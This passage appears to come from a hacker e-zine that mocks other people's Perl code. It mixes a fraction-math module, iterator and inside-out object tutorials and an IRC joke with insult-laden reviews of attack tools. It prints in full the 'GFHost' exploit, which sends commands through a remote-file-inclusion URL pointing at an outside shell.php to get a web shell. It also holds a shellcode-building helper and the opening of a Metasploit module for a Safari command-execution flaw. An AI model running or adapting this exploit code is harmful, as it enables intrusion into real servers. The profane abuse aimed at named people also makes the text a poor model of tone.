for (qw/num den/) {
$self->{$_} *= -1;
}
}
}
=head2 to_string
Returns a string representation of the fraction in the form
"numerator/denominator".
=cut
sub to_string {
my $self = shift;
if ($self->{den} == 1) {
return $self->{num};
} else {
return "$self->{num}/$self->{den}";
}
}
=head2 to_num
Returns a numeric representation of the fraction by calculating the sum
numerator/denominator. Normal caveats about the precision of floating
point numbers apply.
=cut
sub to_num {
my $self = shift;
return $self->{num} / $self->{den};
}
=head2 add
Add a value to a fraction object and return a new object representing the
result of the calculation.
The first parameter is a fraction object. The second parameter is either
another fraction object or a number.
=cut
sub add {
my ($l, $r, $rev) = @_;
if (ref $r) {
if (UNIVERSAL::isa($r, ref $l)) {
return (ref $l)->new($l->{num} * $r->{den} + $r->{num} * $l->{den},
$r->{den} * $l->{den});
} else {
croak "Can't add a ", ref $l, " to a ", ref $l;
}
} else {
if ($r =~ /^[-+]?\d+$/) {
return $l + (ref $l)->new($r, 1);
} else {
return $l->to_num + $r;
}
}
}
=head2 mult
Multiply a fraction object by a value and return a new object representing
the result of the calculation.
The first parameter is a fraction object. The second parameter is either
another fraction object or a number.
=cut
sub mult {
my ($l, $r, $rev) = @_;
if (ref $r) {
if (UNIVERSAL::isa($r, ref $l)) {
return (ref $l)->new($l->{num} * $r->{num},
$l->{den} * $r->{den});
} else {
croak "Can't multiply a ", ref $l, " by a ", ref $l;
}
} else {
if ($r =~ /^[-+]?\d+$/) {
return $l * (ref $l)->new($r, 1);
} else {
return $l->to_num * $r;
}
}
}
=head2 subtract
Subtract a value from a fraction object and return a new object representing
the result of the calculation.
The first parameter is a fraction object. The second parameter is either
another fraction object or a number.
=cut
sub subtract {
my ($l, $r, $rev) = @_;
if (ref $r) {
if (UNIVERSAL::isa($r, ref $l)) {
return (ref $l)->new($l->{num} * $r->{den} - $r->{num} * $l->{den},
$r->{den} * $l->{den});
} else {
croak "Can't subtract a ", ref $l, " from a ", ref $l;
}
} else {
if ($r =~ /^[-+]?\d+$/) {
$r = (ref $l)->new($r, 1);
return $rev ? $r - $l : $l - $r;
} else {
return $rev ? $r - $l->to_num : $l->to_num - $r;
}
}
}
=head2 div
Divide a fraction object by a value and return a new object representing
the result of the calculation.
The first parameter is a fraction object. The second parameter is either
another fraction object or a number.
=cut
sub div {
my ($l, $r, $rev) = @_;
if (ref $r) {
if (UNIVERSAL::isa($r, ref $l)) {
return (ref $l)->new($l->{num} * $r->{den},
$l->{den} * $r->{num});
} else {
croak "Can't divide a ", ref $l, " by a ", ref $l;
}
} else {
if ($r =~ /^[-+]?\d+$/) {
$r = (ref $l)->new($r, 1);
return $rev ? $r / $l : $l / $r;
} else {
return $rev ? $r / $l->to_num : $l->to_num / $r;
}
}
}
sub _hcf {
my ($x, $y) = @_;
($x, $y) = ($y, $x) if $y > $x;
return $x if $x == $y;
while ($y) {
($x, $y) = ($y, $x % $y);
}
return $x;
}
1;
__END__
=head2 EXPORT
None by default.
=head1 SEE ALSO
perldoc overload
=head1 AUTHOR
Dave Cross, E<lt>dave@dave.org.ukE<gt>
=head1 COPYRIGHT AND LICENSE
Copyright 2002 by Dave Cross
This library is free software; you can redistribute it and/or modify
it under the same terms as Perl itself.
=cut
#
# $Log: Fraction.pm,v $
# Revision 1.9 2006/03/02 13:00:05 dave
# A couple of patches supplied by David Westbrook.
#
# Revision 1.8 2005/10/22 21:19:07 dave
# Added new tests.
#
# Revision 1.7 2004/10/23 10:42:56 dave
# Improved test coverage (to 100% - Go Me!)
#
# Revision 1.6 2004/05/23 12:18:13 dave
# Changed pod tests.
# Updated my email address in Makefile.PL
#
# Revision 1.5 2004/05/22 21:15:10 dave
# Added more tests.
# Fixed a couple of bugs that they uncovered.
#
# Revision 1.4 2004/04/28 08:37:39 dave
# Added negative tests to MANIFEST
#
# Revision 1.3 2004/04/27 13:12:48 dave
# Added support for negative numbers.
#
# Revision 1.2 2003/02/19 20:01:25 dave
# Correct '+0' to '0+'.
# Added "fallback" - which allowed me to remove cmp and ncmp.
#
-[0x0B] # Shit on you athias ---------------------------------------------
##############################################
# GFHost explo
# Spawn bash style Shell with webserver uid
# Greetz SPAX, foxtwo, Zone-H
# This Script is currently under development
# no shit fucktard - you didn't even finish the title
##############################################
use strict;
use IO::Socket;
my $host;
my $port;
my $command;
my $url;
my @results;
my $probe;
my @U;
# Get that on one line. NOW
$U[1] = "/dl.php?a=0.1&OUR_FILE=ff24404eeac528b". "&f=http://srv/shell.php&cmd=";
&intro;
&scan;
&choose;
&command;
&exit;
# fuck man. Do you know what & is?
# why don't you call the sub like a man. exit();
sub intro {
&help;
&host;
&server;
sleep 1;
};
# who the hell writes subs for that
# especially to use it just ONCE
sub host {
print "\nHost or IP : ";
$host=<STDIN>;
chomp $host;
# chomp (my $host = <STDIN>);
if ($host eq ""){$host="127.0.0.1"};
# $host ||= "127.0.0.1";
print "\nPort (enter to accept 80): ";
$port=<STDIN>;
chomp $port;
if ($port =~/\D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
# Same lame shit, and don't quote numbers
};
sub server {
my $X;
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
# we have x, print "\n" x big_int; use it
$probe = "string";
# my $probe = "your shit code";
my $output;
my $webserver = "something";
# not defining these above?
&connect;
for ($X=0; $X<=10; $X++){
# for my $x (0 .. 10) {
$output = $results[$X];
if (defined $output){
# if ($output) { # NOOB
if ($output =~/apache/){ $webserver = "apache" };
};
};
if ($webserver ne "apache"){
my $choice = "y";
chomp $choice;
# oh yes, chomp that...WHY
if ($choice =~/N/i) {&exit};
# this will happen WHEN?
}else{
print "\n\nOK";
};
};
sub scan {
my $status = "not_vulnerable";
# got that wrong! :P
# OK this shit goes on forever and doesn't get any better
# I'm done
# actually let me first introduce you to Acme::Bleach
# would work perfectly here
# use Acme::Bleach;
# should be at the beginning of this program
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
my $loop;
my $output;
my $flag;
$command="dir";
for ($loop=1; $loop < @U; $loop++) {
$flag = "0";
$url = $U[$loop];
$probe = "scan";
&connect;
foreach $output (@results){
if ($output =~ /Directory/) {
$flag = "1";
$status = "vulnerable";
};
};
if ($flag eq "0") {
}else{
};
};
if ($status eq "not_vulnerable"){
};
};
sub choose {
my $choice="1";
chomp $choice;
if ($choice > @U){ &choose };
if ($choice =~/\D/g ){ &choose };
if ($choice == 0){ &other };
$url = $U[$choice];
};
sub other {
my $other = <STDIN>;
chomp $other;
$U[0] = $other;
};
sub command {
while ($command !~/quit/i) {
print "[$host]\$ ";
$command = <STDIN>;
chomp $command;
if ($command =~/quit/i) { &exit };
if ($command =~/url/i) { &choose };
if ($command =~/scan/i) { &scan };
if ($command =~/help/i) { &help };
$command =~ s/\s/+/g;
$probe = "command";
if ($command !~/quit|url|scan|help/) {&connect};
};
&exit;
};
sub connect {
my $connection = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => "$host",
PeerPort => "$port",
) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
$connection -> autoflush(1);
if ($probe =~/command|scan/){
print $connection "GET $url$command HTTP/1.1\r\nHost: $host\r\n\r\n";
}elsif ($probe =~/string/) {
print $connection "HEAD / HTTP/1.1\r\nHost: $host\r\n\r\n";
};
while ( <$connection> ) {
@results = <$connection>;
};
close $connection;
if ($probe eq "command"){ &output };
if ($probe eq "string"){ &output };
};
sub output{
my $display;
if ($probe eq "string") {
my $X;
for ($X=0; $X<=10; $X++) {
$display = $results[$X];
if (defined $display){print "$display";};
};
}else{
foreach $display (@results){
print "$display";
};
};
};
sub exit{
print "\n\n\n ORP";
exit;
};
sub help {
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\n
GFHost PHP GMail
Command Execution Vulnerability by SPABAM 2004" ;
print "\n http://www.zone-h.org/advisories/read/id=4904
";
print "\n GFHost.pl Exploit v1.1";
print "\n \n note.. Script under DEVEL";
print "\n";
print "\n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
print "\n Command: SCAN URL HELP QUIT";
print "\n\n\n\n\n\n\n\n\n\n\n";
};
-[0x0C] # Intermission ---------------------------------------------------
<Socrates> Nietzsche: God is dead
<Kant> Paul Elstak: I am a God
<Socrates> Not quite the comparison I was expecting.
<Kant> not quite contradictory
<Socrates> Nietzsche was an athiest philosopher, not an egotist.
<Kant> yes, he was an egoist, not an egotist
<Socrates> Who believed in the moral authority of individuals.
<Kant> he embraced a God form, but not a lie
<Kant> Nietzsche embraced the God of one,
<Kant> much like Paul Elstak
<Socrates> Whatever. Back to the Perl God.
<Kant> Praise the Lord
-[0x0D] # School You: Limbic~Region --------------------------------------
The purpose of this tutorial is to give a general overview of what
iterators are, why they are useful, how to build them, and things to
consider to avoid common pitfalls. I intend to give the reader enough
information to begin using iterators, though this article assumes some
understanding of idiomatic Perl programming. Please consult the "See
Also" section if you need supplemental information.
What Is an Iterator?
Iterators come in many forms, and you have probably used one without
even knowing it. The readline and glob functions, as well as the
flip-flop operator, are all iterators when used in scalar context. A
user-defined iterator usually takes the form of a code reference that,
when executed, calculates the next item in a list and returns it. When
the iterator reaches the end of the list, it returns an agreed-upon
value. While implementations vary, a subroutine that creates a closure
around any necessary state variables and returns the code reference is
common. This technique is called a factory and facilitates code reuse.
Why Are Iterators Useful?
The most straightforward way to use a list is to define an algorithm to
generate the list and store the results in an array. There are several
reasons why you might want to consider an iterator instead:
Related Reading
Learning Perl
By Randal L. Schwartz, Tom Phoenix, brian d foy
Table of Contents
Index
Sample Chapter
Read Online--Safari Search this book on Safari:
Code Fragments only
The list in its entirety would use too much memory.
Iterators have tiny memory footprints, because they can store only the
state information necessary to calculate the next item.
The list is infinite.
Iterators return after each iteration, allowing the traversal of an
infinite list to stop at any point.
The list should be circular.
Iterators contain state information, as well as logic allowing a list
to wrap around.
The list is large but you only need a few items.
Iterators allow you to stop at any time, avoiding the need to calculate
any more items than is necessary.
The list needs to be duplicated, split, or variated.
Iterators are lightweight and have their own copies of state variables.
How to Build an Iterator
The basic structure of an iterator factory looks like this:
sub gen_iterator {
my @initial_info = @_;
my ($current_state, $done);
return sub {
# code to calculate $next_state or $done;
return undef if $done;
return $current_state = $next_state;
};
}
To make the factory more flexible, the factory may take arguments to
decide how to create the iterator. The factory declares all necessary
state variables and possibly initializes them. It then returns a code
reference--in the same scope as the state variables--to the caller,
completing the transaction. Upon each execution of the code reference,
the state variables are updated and the next item is returned, until
the iterator has exhausted the list.
The basic usage of an iterator looks like this:
my $next = gen_iterator( 42 );
while ( my $item = $next->() ) {
print "$item\n";
}
Example: The List in Its Entirety Would Use Too Much Memory
You work in genetics and you need every possible sequence of DNA
strands of lengths 1 to 14. Even if there were no memory overhead in
using arrays, it would still take nearly five gigabytes of memory to
accommodate the full list. Iterators come to the rescue:
my @DNA = qw/A C T G/;
my $seq = gen_permutate(14, @DNA);
while ( my $strand = $seq->() ) {
print "$strand\n";
}
sub gen_permutate {
my ($max, @list) = @_;
my @curr;
return sub {
if ( (join '', map { $list[ $_ ] } @curr) eq $list[ -1 ] x
@curr ) {
@curr = (0) x (@curr + 1);
}
else {
my $pos = @curr;
while ( --$pos > -1 ) {
++$curr[ $pos ], last if $curr[ $pos ] < $#list;
$curr[ $pos ] = 0;
}
}
return undef if @curr > $max;
return join '', map { $list[ $_ ] } @curr;
};
}
Example: The List Is Infinite
You need to assign IDs to all current and future employees and ensure
that it is possible to determine if an ID is valid with nothing more
than the number itself. You have already taken care of persistence and
number validation (using the LUHN formula). Iterators take care of the
rest:
my $start = $ARGV[0] || 999999;
my $next_id = gen_id( $start );
print $next_id->(), "\n" for 1 .. 10; # Next 10 IDs
sub gen_id {
my $curr = shift;
return sub {
0 while ! is_valid( ++$curr );
return $curr;
};
}
sub is_valid {
my ($num, $chk) = (shift, '');
my $tot;
for ( 0 .. length($num) - 1 ) {
my $dig = substr($num, $_, 1);
$_ % 2 ? ($chk .= $dig * 2) : ($tot += $dig);
}
$tot += $_ for split //, $chk;
return $tot % 10 == 0 ? 1 : 0;
}
Example: The List Should Be Circular
You need to support legacy apps with hardcoded filenames, but want to
keep logs for three days before overwriting them. You have everything
you need except a way to keep track of which file to write to:
my $next_file = rotate( qw/FileA FileB FileC/ );
print $next_file->(), "\n" for 1 .. 10;
sub rotate {
my @list = @_;
my $index = -1;
return sub {
$index++;
$index = 0 if $index > $#list;
return $list[ $index ];
};
}
Adding one state variable and an additional check would provide the
ability to loop a user-defined number of times.
Example: The List Is Large But Only a Few Items May Be Needed
You have forgotten the password to your DSL modem and the vendor
charges more than the cost of a replacement to unlock it. Fortunately,
you remember that it was only four lowercase characters:
while ( my $pass = $next_pw->() ) {
if ( unlock( $pass ) ) {
print "$pass\n";
last;
}
}
sub fix_size_perm {
my ($size, @list) = @_;
my @curr = (0) x ($size - 1);
push @curr, -1;
return sub {
if ( (join '', map { $list[ $_ ] } @curr) eq $list[ -1 ] x
@curr ) {
@curr = (0) x (@curr + 1);
}
else {
my $pos = @curr;
while ( --$pos > -1 ) {
++$curr[ $pos ], last if $curr[ $pos ] < $#list;
$curr[ $pos ] = 0;
}
}
return undef if @curr > $size;
return join '', map { $list[ $_ ] } @curr;
};
}
sub unlock { $_[0] eq 'john' }
Example: The List Needs To Be Duplicated, Split, or Modified into
Multiple Variants
Duplicating the list is useful when each item of the list requires
multiple functions applied to it, if you can apply them in parallel. If
there is only one function, it may be advantageous to break the list up
and run duplicate copies of the function. In some cases, multiple
variations are necessary, which is why factories are so useful. For
instance, multiple lists of different letters might come in handy when
writing a crossword solver.
The following example uses the idea of breaking up the list to enhance
the employee ID example. Assigning ranges to departments adds
additional meaning to the ID.
my %lookup;
@lookup{ qw/sales support security management/ }
= map { { start => $_ * 10_000 } } 1..4;
$lookup{$_}{iter} = gen_id( $lookup{$_}{start} ) for keys %lookup;
# ....
my $dept = $employee->dept;
my $id = $lookup{$dept}{id}();
$employee->id( $id );
Things To Consider
The iterator's @_ is Different Than the Factory's
The following code doesn't work as you might expect:
sub gen_greeting {
return sub { print "Hello ", $_[0] };
}
my $greeting = gen_greeting( 'world' );
$greeting->();
It may seem obvious, but closures need lexicals to close over, as each
subroutine has its own @_. The fix is simple:
sub gen_greeting {
my $msg = shift;
return sub { print "Hello ", $msg };
}
The Return Value Indicating Exhaustion Is Important
Attempt to identify a value that will never occur in the list. Using
undef is usually safe, but not always. Document your choice well, so
calling code can behave correctly. Using while ( my $answer = $next->()
) { ... } would result in an infinite loop if 42 indicated exhaustion.
If it is not possible to know in advance valid values in the list,
allow users to define their own values as an argument to the factory.
References to External Variables for State May Cause Problems
Problems can arise when factory arguments needed to maintain state are
references. This is because the variable being referred to can have its
value changed at any time during the course of iteration. A solution
might be to de-reference and make a copy of the result. In the case of
large hashes or arrays, this may be counterproductive to the ultimate
goal. Document your solution and your assumptions so that the caller
knows what to expect.
You May Need to Handle Edge Cases
Sometimes, the first or the last item in a list requires more logic
than the others in the list. Consider the following iterator for the
Fibonacci numbers:
sub gen_fib {
my ($low, $high) = (1, 0);
return sub {
($low, $high) = ($high, $low + $high);
return $high;
};
}
my $fib = gen_fib();
print $fib->(), "\n" for 1 .. 20;
Besides the funny initialization of $low being greater than $high, it
also misses 0, which should be the first item returned. Here is one way
to handle it:
sub gen_fib {
my ($low, $high) = (1, 0);
my $seen_edge;
return sub {
return 0 if ! $seen_edge++;
($low, $high) = ($high, $low + $high);
return $high;
};
}
State Variables Persist As Long As the Iterator
Reaching the end of the list does not necessarily free the iterator and
state variables. Because Perl uses reference counting for its garbage
collection, the state variables will exist as long as the iterator
does.
Though most iterators have a small memory footprint, this is not always
the case. Even if a single iterator doesn't consume a large amount of
memory, it isn't always possible to forsee how many iterators a program
will create. Be sure to document how the caller can destroy the
iterator when necessary.
In addition to documentation, you may also want to undef the state
variables at exhaustion, and perhaps warn the caller if the iterator is
being called after exhaustion.
sub gen_countdown {
my $curr = shift;
return sub {
return $curr++ || 'blast off';
}
}
my $t = gen_countdown( -10 );
print $t->(), "\n" for 1..12; # off by 1 error
Becomes:
sub gen_countdown {
my $curr = shift;
return sub {
if ( defined $curr && $curr == 0 ) {
undef $curr, return 'blast off';
}
warn 'List already exhausted' and return if ! $curr;
return $curr++;
}
}
-[0x0E] # rape skape -----------------------------------------------------
#!/usr/bin/perl
# skape I'll hand it to you, unlike most featured you can code.
# you just need to learn to code Perl, or at least better
# you like my(), back it up with use strict, wimp
if (not defined($ARGV[0])) {
# old habits die hard, must be your PHP heritage
print "Usage: ./stackpush.pl [string] [clobber register (default=eax)] [intel/att]\n";
exit;
}
my $nullTerminate = 1;
my $clobber = lc((defined($ARGV[1]) ? $ARGV[1] : 'eax'));
my $style = lc((defined($ARGV[2]) ? $ARGV[2] : 'intel'));
my $current = $ARGV[0];
# my $current = shift;
# my $clobber = shift || 'eax';
# my $style = shift || 'intel';
# really don't need defined() here either...
my $buf = "";
my $static = "";
# don't need the = "" part, at all...
# in Perl we have undef() for when you do (which ISN'T HERE), its much more tasteful
my %registerHash;
$registerHash{'eax'} = { name => 'eax', masq => { b32 => 'eax', b16 => 'ax', b8 => 'al' } };
$registerHash{'ebx'} = { name => 'ebx', masq => { b32 => 'ebx', b16 => 'bx', b8 => 'bl' } };
$registerHash{'ecx'} = { name => 'ecx', masq => { b32 => 'ecx', b16 => 'cx', b8 => 'cl' } };
$registerHash{'edx'} = { name => 'edx', masq => { b32 => 'edx', b16 => 'dx', b8 => 'dl' } };
$registerHash{'edi'} = { name => 'edi', masq => { b32 => 'edi', b16 => 'di', b8 => undef } };
$registerHash{'esi'} = { name => 'esi', masq => { b32 => 'esi', b16 => 'si', b8 => undef } };
$registerHash{'esp'} = { name => 'esp', masq => { b32 => 'esp', b16 => 'sp', b8 => undef } };
$registerHash{'ebp'} = { name => 'ebp', masq => { b32 => 'ebp', b16 => 'bp', b8 => undef } };
# hey, you know undef! sweet
# now if only that name wasn't so redundent and you limited the complexity of your data structure
if (not defined($registerHash{$clobber})) {
print "Register $clobber is not a valid clobber register.\n";
exit;
}
# one-line it!
# die "Register $clobber is not a valid clobber register.\n" unless $registerHash{$clobber};
if ($style eq 'att') {
$registerHash{$clobber}->{'masq'}->{'b32'} = "\%" . $registerHash{$clobber}->{'masq'}->{'b32'};
$registerHash{$clobber}->{'masq'}->{'b16'} = "\%" . $registerHash{$clobber}->{'masq'}->{'b16'};
if (defined($registerHash{$clobber}->{'masq'}->{'b8'})) {
$registerHash{$clobber}->{'masq'}->{'b8'} = "\%" . $registerHash{$clobber}->{'masq'}->{'b8'};
}
$static = "\$";
}
if ($nullTerminate)
{
my $nullpad = length($current) % 4;
# I work for Save the Parens organization, please get those parentheses out of here and the following occurances
if ($nullpad == 0) {
$buf .= getInstruction(op => 'xor', src => $registerHash{$clobber}->{'masq'}->{'b32'}, dst => $registerHash{$clobber}->{'masq'}->{'b32'}) . "\n";
$buf .= getInstruction(op => 'push', src => $registerHash{$clobber}->{'masq'}->{'b32'}) . "\n";
# not how I would have structured it, but TIMTOWTDI
} else {
my $sub = getBytes(string => $current, max => $nullpad, asHex => 1);
my $bitsub;
my $match;
my $reg = undef;
# one-line it! one-line it!
my $reg32 = $registerHash{$clobber}->{'masq'}->{'b32'};
if (length($sub) == 2) {
$reg = $registerHash{$clobber}->{'masq'}->{'b8'};
$bitsub = "414141$sub";
$match = "929292ff";
} elsif (length($sub) == 4) {
$reg = $registerHash{$clobber}->{'masq'}->{'b16'};
$bitsub = "4141$sub";
$match = "9292ffff";
} elsif (length($sub) == 6) {
$reg = $registerHash{$clobber}->{'masq'}->{'b32'};
$bitsub = "41$sub";
$match = "92ffffff";
}
if (not defined($reg) or length($sub) >= 6) {
$buf .= getInstruction(op => 'mov', src => $static . "0x" . $bitsub, dst => $reg32) . "\n";
$buf .= getInstruction(op => 'and', src => $static . "0x" . $match, dst => $reg32) . "\n";
} else {
$buf .= getInstruction(op => 'xor', src => $reg32, dst => $reg32) . "\n";
$buf .= getInstruction(op => 'mov', src => $static . "0x" . $sub, dst => $reg) . "\n";
}
# get rid of those final . "\n"s above and put that here
$buf .= getInstruction(op => 'push', src => $reg32) . "\n";
}
$current = karate(string => $current, bytes => $nullpad);
}
while (defined($current)) {
my $sub = getBytes(string => $current, max => 4, asHex => 1);
if (length($sub) == 0) {
last;
}
# one-line it! one-line it!
$buf .= "push $static" . "0x" . $sub . "\n";
$current = karate(string => $current, bytes => 4);
}
print $buf;
sub getBytes {
my ($string, $max, $asHex) = @{{@_}}{qw/string max asHex/};
# GOOD. didn't expect to see that
# Oh wait, except that that complexity really isn't necessary - AT ALL
my $ret = "";
# BAD
if (not defined($max)) {
$max = 4;
}
# BAD
if (length($string) < $max) {
$ret = $string;
} else {
$ret = substr($string, length($string) - $max, $max);
}
# BAD
if ($asHex) {
# GOOD. Looks like you don't need defined() everywhere, huh?
my $c = "";
my $index = $max - 1;
my $x;
while ($index >= 0 and $x = substr($ret, $index--, 1)) {
$c .= sprintf("%.2x", ord($x) & 0xff);
}
$ret = $c;
# BAD
}
return $ret;
}
sub getInstruction {
my ($op, $src, $dst) = @{{@_}}{qw/op src dst/};
if ($style eq 'att') {
return "$op $src" . ((defined($dst))?", $dst" : "");
} else {
if (not defined($dst)) {
return "$op $src";
} else {
return "$op $dst, $src";
}
}
# ouch. learn some code conservation
}
sub karate {
my ($string, $bytes) = @{{@_}}{qw/string bytes/};
if (length($string) <= $bytes) {
return undef;
}
return substr($string, 0, length($string) - $bytes);
}
-[0x0F] # To envision a stack --------------------------------------------
Let's talk about stacks. Stacks are stacks. We use a LIFO (last in
first out) stack. For a moment, and just a moment, let's imagine that
Perl's arrays are stacks. You may well know the 'push' option to push
an item onto the 'top' of this stack. You should know of 'pop' to take
an item off the top of this stack. Historically, this is how we do it.
However, in Perl we can do the same to either end of the stack. We can
use 'shift' to shift an item out from the 'bottom' of the stack. Or use
'unshift' to add an object to the bottom of this stack. Conveniently,
those will work by default on @ARGV. Due to this, we can use code such
as 'my $call = shift;' instead of something like 'my $call = $ARGV[0]'.
Let's stop thinking of Perl arrays as stacks. They really aren't very
stack-like. I just use the example to try to get some form of
communication to your simple minds. If you want to put a physical image
to Perl arrays, think of them as a hollow cylinder lying on its side.
You can add or remove from either end. Unlike some other languages,
removing from the bottom of this array doesn't require that the other
values all be shifted down, they only appear shifted down. Perl arrays
grow both ways, there is no difference. Don't believe me? Whip out
Benchmark.pm and time the operations. That is, if you can figure out
how to use it.
Why am I explaining this? Here I am, questioning myself over this very
dull description of a very simple concept. Yet, it must be justified,
because so few of you actually understand and use it. Where is the
creativity? Why, when given some power, you shrink from it and fear it,
instead of reaching out and grasping hold of it? Anyways, to continue,
and get to the point
On second thought, FUCK IT, you are a waste of my fucking time.
-[0x10] # School You: merlyn ---------------------------------------------
Unix Review Column 63 (Mar 2006)
[suggested title: ``Inside-out Objects'']
In [my previous article], I created a traditional hash-based Perl
object: a Rectangle with two attributes (width and height) using the
constructor and accessors like so:
package Rectangle;
sub new {
my $class = shift;
my %args = @_;
my $self = {
width => $args{width} || 0;
height => $args{height} || 0;
};
return bless $self, $class;
}
sub width {
my $self = shift;
return $self->{width};
}
sub set_width {
my $self = shift;
$self->{width} = shift;
}
sub height {
my $self = shift;
return $self->{height};
}
sub set_height {
my $self = shift;
$self->{height} = shift;
}
I can construct a 3-by-4 rectangle easily:
my $r = Rectangle->new(width => 3, height => 4);
At this point, $r is an object of type Rectangle, but it's also simply
a hashref. For example, the code in set_width merely deferences a value
like $r to gain access to the hash element with a key of width. But
does Perl require such code to be located within the Rectangle package?
No. As a user of the Rectangle class, I could easily say:
$r->{width} = 5;
and update the width from 3 to 5. This is ``peering inside the box'',
and will lead to fragile code, because we've now exposed the
implementation of the object, not just the interface.
For example, suppose we modify the set_width method to ensure that the
width is never negative:
use Carp qw(croak);
sub set_width {
my $self = shift;
my $width = shift;
croak "$self: width cannot be negative: $width"
if $width < 0;
$self->{width} = $width;
}
If the $width is less than 0, we croak, triggering a fatal exception,
but blaming the caller of this method. (We don't blame ourselves, and
croak is a great way to pass the blame.)
At this point, we'll trap erroneous settings:
$r->set_width(-3); # will die
But if someone has broken the box open, we get no fault:
$r->{width} = -3; # no death
This is bad, because the author of the Rectangle class no longer
controls behavior for the objects, because the data implementation has
been exposed.
Besides exposing the implementation, another problem is that I have to
be careful of typos. Suppose in rewriting the set_width method, I
accidentally transposed the last two letters of the hash key:
$self->{widht} = $width;
This is perfectly legal Perl, and would not throw any compile-time or
run-time errors. Even use strict isn't helping here, because I'm not
misspelling a variable name: just naming a ``new'' hash key. Without
good unit tests and integration tests, I might not even catch this
error. Yes, there are some solutions to ensure that a hash's keys come
from only a particular set of permitted keys, but these generally slow
down the hash access significantly.
We can solve both of these problems at once, without significantly
impacting the performance of our programs by using what's come to be
known as an inside-out object. First popularized by Damian Conway in
the neoclassic Object-Oriented Perl book, an inside-out object creates
a series of parallel hashes for the attributes (much like we had to do
back in the Perl4 days before we had hashrefs). For example, instead of
creating a single object for a rectangle that is 3 by 4:
my $r = { width => 3, height => 4 };
we can record its attributes in two separate hashes, keyed by some
unique string:
my $r = "some unique string";
$width{$r} = 3;
$height{$r} = 4;
Now, to get the height of the rectangle, we use the unique string:
my $width = $width{$r};
and to update the height, we use that same string:
$height{$r} = 10;
When we turn on use strict, and declare the %width and %height
attribute hashes, this will trap any typos related to attribute names:
use strict;
my %width;
my %height;
...
my $r = "another unique string";
$height{$r} = 7; # ok
$widht{$r} = 3; # won't compile!
The typo on the width is now caught, because we don't have a %widht
hash. Hooray. That solves the second problem. But how do we solve the
first problem, and where do we get this ``unique string'', and how do
we get methods on our object?
If I assign a blessed anonymous empty hash to $r:
my $r = bless {}, "Rectangle";
then when the value of $r is used as a string, I get a nice unique
string:
Rectangle=HASH(0x400180FE)
where the number comes from the hex representation of the internal
memory address of the object. As long as this reference is alive, that
memory address will not be reused. Aha, there's our unique string:
sub new_7_by_3 {
my $self = bless {}, shift;
$height{$self} = 7;
$width{$self} = 3;
return $self;
}
And this is what our constructor does! By blessing the object, we'll
return to the same package for methods. By having an anonymous hashref,
we're guaranteed a unique number. And as long as the lexical %height
and %width hashes are in scope, we can access and update the
attributes.
But what are we returning? Sure, it's a hashref, but it's empty.
There's no code that we can use to get from $r to the attribute hashes:
my $r = Rectangle->new_7_by_3;
The only way we can get the height is to have code in same scope as the
definitions of the attribute hashes:
sub height {
my $self = shift;
return $height{$self};
}
And then we can use that code in our main program:
my $height = $r->height;
The first parameter is $r, which gets used only for its unique string
value, as a key into the lexical %height hash! It all Just Works.
Well, for some meaning of Works. We still have a couple of things to
fix. First, there's really no reason to make an anonymous hash, because
we never put anything into it, so we might as well make it a scalar:
my $self = bless \(my $dummy), shift;
Because Perl doesn't have a primitive anonymous scalar constructor, I'm
cheating by making a $dummy variable.
Second, we've got some tidying up to do. When a value is no longer
being referenced by any variable, we say it goes out of scope. When a
traditional hashref based object goes out of scope, any elements of the
hash are also discarded, usually causing the values to also go out of
scope (unless they are also referenced by some other live value). This
all happens quite automatically and efficiently.
However, when our inside-out object goes out of scope, it doesn't
``contain'' anything. However, its address-as-a-string is being used in
one or more attribute hashes, and we need to get rid of those to mimic
the traditional object mechanism. So, we'll need to add a DESTROY
method:
sub DESTROY {
my $dead_body = $_[0];
delete $height{$dead_body};
delete $width{$dead_body};
my $super = $dead_body->can("SUPER::DESTROY");
goto &$super if $super;
}
Note that after deleting our attributes, we also call any superclass
destructor, so that it has a chance to clean up too.
Let's put it all together:
package Rectangle;
my %width;
my %height;
sub new {
my $class = shift;
my %args = @_;
my $self = bless \(my $dummy), $class;
$width{$self} = $args{width} || 0;
$height{$self} = $args{height} || 0;
return $self;
}
sub DESTROY {
my $dead_body = $_[0];
delete $height{$dead_body};
delete $width{$dead_body};
my $super = $dead_body->can("SUPER::DESTROY");
goto &$super if $super;
}
sub width {
my $self = shift;
return $width{$self};
}
sub set_width {
my $self = shift;
$width{$self} = shift;
}
sub height {
my $self = shift;
return $height{$self};
}
sub set_height {
my $self = shift;
$height{$self} = shift;
}
Not bad! Only slightly more complex than a traditional hashref
implementation, and a lot safer for the ``outside''. Of course, this is
a lot of code to get right, so the best thing is to let someone else do
the hard work. See Class::Std and Object::InsideOut for some budding
frameworks to build these objects. Until next time, enjoy!
-[0x11] # Metajoke some Metasploit ---------------------------------------
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
# the Infamous metawire project
package Msf::Exploit::safari_safefiles_exec;
use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;
use FindBin qw{$RealBin}; # change it change it
my $advanced =
{
'Gzip' => [1, 'Enable gzip content encoding'],
'Chunked' => [1, 'Enable chunked transfer encoding'],
};
my $info =
{
'Name' => 'Safari Archive Metadata Command Execution',
'Version' => '$Revision: 1.3 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com',
],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a vulnerability in Safari's "Safe file" feature, which will
automatically open any file with one of the allowed extensions. This can be abused
by supplying a zip file, containing a shell script, with a metafile indicating
that the file should be opened by Terminal.app. This module depends on
the 'zip' command-line utility.
}),
'Arch' => [ ],
'OS' => [ ],
'Priv' => 0,
'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
